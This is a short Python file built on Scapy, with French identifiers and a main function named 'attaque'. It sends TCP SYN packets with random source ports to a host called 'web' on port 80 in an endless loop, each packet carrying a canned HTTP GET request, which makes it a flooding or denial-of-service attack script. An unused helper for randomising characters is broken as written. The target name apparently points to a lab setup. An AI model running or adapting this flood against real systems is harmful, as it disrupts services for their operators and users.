from scapy.all import *
import random as r

adresse = "web"  
port = 80

L = [
    f"GET / HTTP/1.1\r\nHost: {adresse}\r\n\r\n",
    f"GET /index.html HTTP/1.1\r\nHost: {adresse}\r\n\r\n",
    f"GET /about.html HTTP/1.1\r\nHost: {adresse}\r\n\r\n"
]

def changeCara(val,nb):
    for i in range(nb):
        nb_aleatoire=r.randint(0,len(val)-1)
        val[nb_aleatoire]=chr(r.randint(0,256)) 
    return val

def attaque():
    while True:
        requete = L[r.randint(0, 2)]
        paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
        sr1(paquet, verbose=False)

if __name__ == "__main__":
    attaque()